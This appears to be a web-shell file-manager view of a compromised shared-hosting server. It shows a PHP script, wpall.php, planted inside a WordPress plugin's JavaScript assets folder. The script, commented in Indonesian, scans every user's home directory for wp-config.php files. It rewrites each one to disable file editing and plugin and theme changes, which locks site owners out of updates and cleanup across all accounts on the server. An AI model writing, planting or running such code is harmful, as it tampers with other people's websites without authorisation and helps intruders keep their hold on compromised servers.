HEX
Server: LiteSpeed
System: Linux server.tenvelop.com 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: livspacetenvelop (1024)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/livspacetenvelop/public_html/wp-content/plugins/login-customizer/freemius/assets/js/wpall.php
<?php

function scan_wp_configs($start_dir) {
    $wp_config_files = [];

    // Ambil semua user directory di bawah /home
    $user_dirs = glob($start_dir . '/*', GLOB_ONLYDIR);

    foreach ($user_dirs as $user_dir) {
        // Temukan semua path: /home/user/domains/*/public_html
        $public_html_dirs = glob($user_dir . '/domains/*/public_html', GLOB_ONLYDIR);

        foreach ($public_html_dirs as $dir) {
            $config_file = $dir . '/wp-config.php';
            if (is_readable($config_file)) {
                $wp_config_files[] = $config_file;
            }
        }
    }

    return $wp_config_files;
}

function modify_wp_config($config_path) {
    echo "Memeriksa file: $config_path\n";

    $config_content = file_get_contents($config_path);
    if ($config_content === false) {
        echo "❌ Gagal membaca file: $config_path\n";
        return false;
    }

    $disallow_edit = "define('DISALLOW_FILE_EDIT', true);";
    $disallow_mods = "define('DISALLOW_FILE_MODS', true);";

    $updated = false;

    // Tambahkan DISALLOW_FILE_EDIT jika belum ada
    if (strpos($config_content, $disallow_edit) === false) {
        if (strpos($config_content, 'require_once') !== false) {
            $config_content = preg_replace('/(require_once)/', $disallow_edit . "\n" . '$1', $config_content, 1);
        } else {
            $config_content .= "\n" . $disallow_edit;
        }
        echo "✅ Menambahkan: $disallow_edit\n";
        $updated = true;
    } else {
        echo "ℹ️ Baris '$disallow_edit' sudah ada.\n";
    }

    // Tambahkan DISALLOW_FILE_MODS jika belum ada
    if (strpos($config_content, $disallow_mods) === false) {
        if (strpos($config_content, 'require_once') !== false) {
            $config_content = preg_replace('/(require_once)/', $disallow_mods . "\n" . '$1', $config_content, 1);
        } else {
            $config_content .= "\n" . $disallow_mods;
        }
        echo "✅ Menambahkan: $disallow_mods\n";
        $updated = true;
    } else {
        echo "ℹ️ Baris '$disallow_mods' sudah ada.\n";
    }

    if ($updated) {
        if (file_put_contents($config_path, $config_content) === false) {
            echo "❌ Gagal menyimpan perubahan ke $config_path\n";
            return false;
        }
        echo "✅ File berhasil diperbarui: $config_path\n";
    } else {
        echo "⏭ Tidak ada perubahan pada $config_path\n";
    }

    echo "---------------------------\n";
    return true;
}

// Eksekusi utama
echo "<pre>";
$start_directory = '/home';
$config_files = scan_wp_configs($start_directory);

if (empty($config_files)) {
    die("Tidak ditemukan file wp-config.php di struktur direktori $start_directory.");
}

foreach ($config_files as $config_path) {
    modify_wp_config($config_path);
}

echo "✅ Pembaruan selesai untuk semua file.\n</pre>";
?>